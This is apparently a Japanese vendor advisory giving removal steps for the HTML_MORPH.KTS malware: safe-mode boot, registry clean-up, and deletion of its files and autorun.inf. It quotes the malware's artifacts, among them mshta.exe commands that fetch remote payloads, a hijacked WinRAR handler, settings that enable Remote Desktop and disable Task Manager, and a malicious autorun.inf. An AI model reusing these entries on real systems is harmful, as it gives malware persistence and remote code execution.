HTML_MORPH.KTS

セーフモードでの起動：

• Windows 2000 の場合

1. コンピュータを起動させます。
2. 「Windows **** を起動しています･･･」のメッセージが表示されている間に［F8］を押します。
3. 「Windows 拡張オプション メニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows XP の場合

1. コンピュータを起動させます。
2. 「Windows **** を起動しています･･･」のメッセージが表示されている間に［F8］を押します。
3. 「Windows 拡張オプション メニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

• Windows Server 2003 の場合

1. コンピュータを起動させます。
2. 「Windows **** を起動しています･･･」のメッセージが表示されている間に［F8］を押します。
3. 「Windows 拡張オプション メニュー」が表示されるので、［↓］［↑］キーを使って［セーフモード］を選択し、［Enter］を押します。

このマルウェアが追加したレジストリ値の削除：

1. 「レジストリエディタ」を起動します。
   [スタート]-[ファイル名を指定して実行]を選択し、regedit と入力し、[OK]をクリックします。
   ※regedit は半角英数字で入力する必要があります（大文字／小文字は区別されません）。
2. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
   HKEY_CLASSES_ROOT>Directory>shell>DOSAqui
3. 右側のパネルで以下のレジストリ値を検索し、削除します。
   (Default) = Abrir Carpeta
4. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
   HKEY_CLASSES_ROOT>Directory>shell>DOSAqui>Command
5. 右側のパネルで以下のレジストリ値を検索し、削除します。
   (Default) = mshta.exe http://{BLOCKED}.{BLOCKED}.146.149:102/m2012/msnmsgr.tpl
6. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
   HKEY_CLASSES_ROOT>Drive>shell>DOSAqui
7. 右側のパネルで以下のレジストリ値を検索し、削除します。
   (Default) = Abrir Unidad de Disco
8. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
   HKEY_CLASSES_ROOT>Drive>shell>DOSAqui>Command
9. 右側のパネルで以下のレジストリ値を検索し、削除します。
   (Default) = mshta.exe http://{BLOCKED}.{BLOCKED}.146.149:102/m2012/msnmsgr.tpl
10. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
    HKEY_CURRENT_USER>Software>Microsoft>Internet Explorer>Desktop>General
11. 右側のパネルで以下のレジストリ値を検索し、削除します。
    WallpaperSource = Ͽer ProfileϿmsn>M0rPheU$.jpg
12. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
    HKEY_CURRENT_USER>Software>Microsoft>Internet Explorer>Main
13. 右側のパネルで以下のレジストリ値を検索し、削除します。
    Window Title = ::M0rPheU$:: v2.1
14. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
    HKEY_CURRENT_USER>Software>Microsoft>Windows>CurrentVersion>Policies>System
15. 右側のパネルで以下のレジストリ値を検索し、削除します。
    DisableTaskMgr = 1
16. 「レジストリエディタ」を閉じます。

変更されたレジストリ値の修正：

1. 「レジストリエディタ」を起動します。
   » Windows 2000 および Windows XP、Windows Server 2003の場合、[スタート]-[ファイル名を指定して実行]を選択し、"regedit" と入力し、[OK]をクリックします。
   
2. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
   HKEY_CLASSES_ROOT>WinRAR>shell>open>command
3. 右側のパネルで以下のレジストリ値を検索します。
   (Default) = ϿstemϿmshta.exe http://{BLOCKED}.{BLOCKED}.146.149:102/m2012/nfiles/exec.php?t
4. [値の名前]上で右クリックし、[修正]または[変更]を選択します。 [文字列の編集]ダイアログボックスが表示されたら、[値のデータ]を以下に変更します。
   (Default) = Ͽogram FilesϿWinRAR>WinRAR.exe ?
5. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
   HKEY_CURRENT_USER>Software>Microsoft>Internet Explorer>Main
6. 右側のパネルで以下のレジストリ値を検索します。
   Start Page = http://{BLOCKED}azaar.co.in/images/live.htm
7. [値の名前]上で右クリックし、[修正]または[変更]を選択します。 [文字列の編集]ダイアログボックスが表示されたら、[値のデータ]を以下に変更します。
   Start Page = {User Defined}
8. 「レジストリエディタ」の左側のパネルにある以下のフォルダをダブルクリックします。
   HKEY_LOCAL_MACHINE>SYSTEM>CurrentControlSet>Control>Terminal Server
9. 右側のパネルで以下のレジストリ値を検索します。
   fDenyTSConnections = 0
10. [値の名前]上で右クリックし、[修正]または[変更]を選択します。 [文字列の編集]ダイアログボックスが表示されたら、[値のデータ]を以下に変更します。
    fDenyTSConnections = 1
11. レジストリエディタを閉じます。

マルウェアのフォルダの削除：

1. [スタート]-[検索]-[ファイルとフォルダすべて]を選択します。
   註：Windowsのバージョンによって異なります。
2. [ファイル名のすべてまたは一部]に以下を入力してください。
   
   %User Profile%\msn
3. [探す場所]の一覧から[マイコンピュータ]を選択し、[検索]を押します。
4. 検索が終了したら、フォルダを選択し、SHIFT+DELETEを押します。これにより、ファイルが完全に削除されます。
5. 残りのフォルダに対して、このマルウェアのコンポーネントファイルの削除の手順2.）から4.）を繰り返してください。
   %User Profile%\msn

マルウェアのファイルの削除：

1. [スタート]-[検索]-[ファイルとフォルダすべて]を選択します。
   註：Windowsのバージョンによって異なります。
2. [ファイル名のすべてまたは一部]に、以下のファイル名を入力してください。
   
   C:\autorun.inf
   C:\Windows Live Messenger.lnk
   %Documents and Settings%\All Users\Start Menu\Programs\Windows Live Messenger.lnk
   %User Profile%\Start Menu\Windows Live Messenger.lnk
   %User Profile%\Start Menu\Programs\Windows Live Messenger.lnk
   %User Profile%\Start Menu\Programs\Startup\Windows Live Messenger.lnk
   %User Profile%\Start Menu\Programs\Startup\Actualizaciones de Windows Live.lnk
   %User Profile%\Start Menu\Programs\Startup\Detector de Spywares de Windows Live.lnk
   %User Profile%\Desktop\Windows Live Messenger.lnk
   %User Profile%\Recent\Windows Live Messenger.lnk
3. [探す場所]の一覧から[マイコンピュータ]を選択し、[検索]を押します。
4. 検索が終了したら、ファイルを選択し、SHIFT+DELETEを押します。これにより、ファイルが完全に削除されます。

作成された AUTORUN.INF の検索および削除：

1. [スタート]-[検索]-[ファイルとフォルダすべて]を選択します。
   註：Windowsのバージョンによって異なります。
2. [ファイル名のすべてまたは一部]に以下を入力してください。
   AUTORUN.INF
3. [探す場所]の一覧から該当ドライブを選択し、[検索]を押します。
4. 検索が終了したら、ファイルを選択し、メモ帳などテキストエディタを用いて開いてください。
5. 以下の文字列が存在するか確認してください。
   [autorun]
   open="inf.exe"
   icon="C:\WINDOWS\system32\SHELL32.dll,8"
   action=Abrir carpeta para ver archivos
   shell\open=Abrir carpeta para ver archivos
   shell\open\command="inf.exe"
   shell\open\default=1
6. この文字列が存在する場合はファイルを削除してください。
7. 他のリムーバブルドライブ内の残りの AUTORUN.INF についても、この手順3.)から6.)を繰り返してください。
8. [検索結果]画面を閉じてください。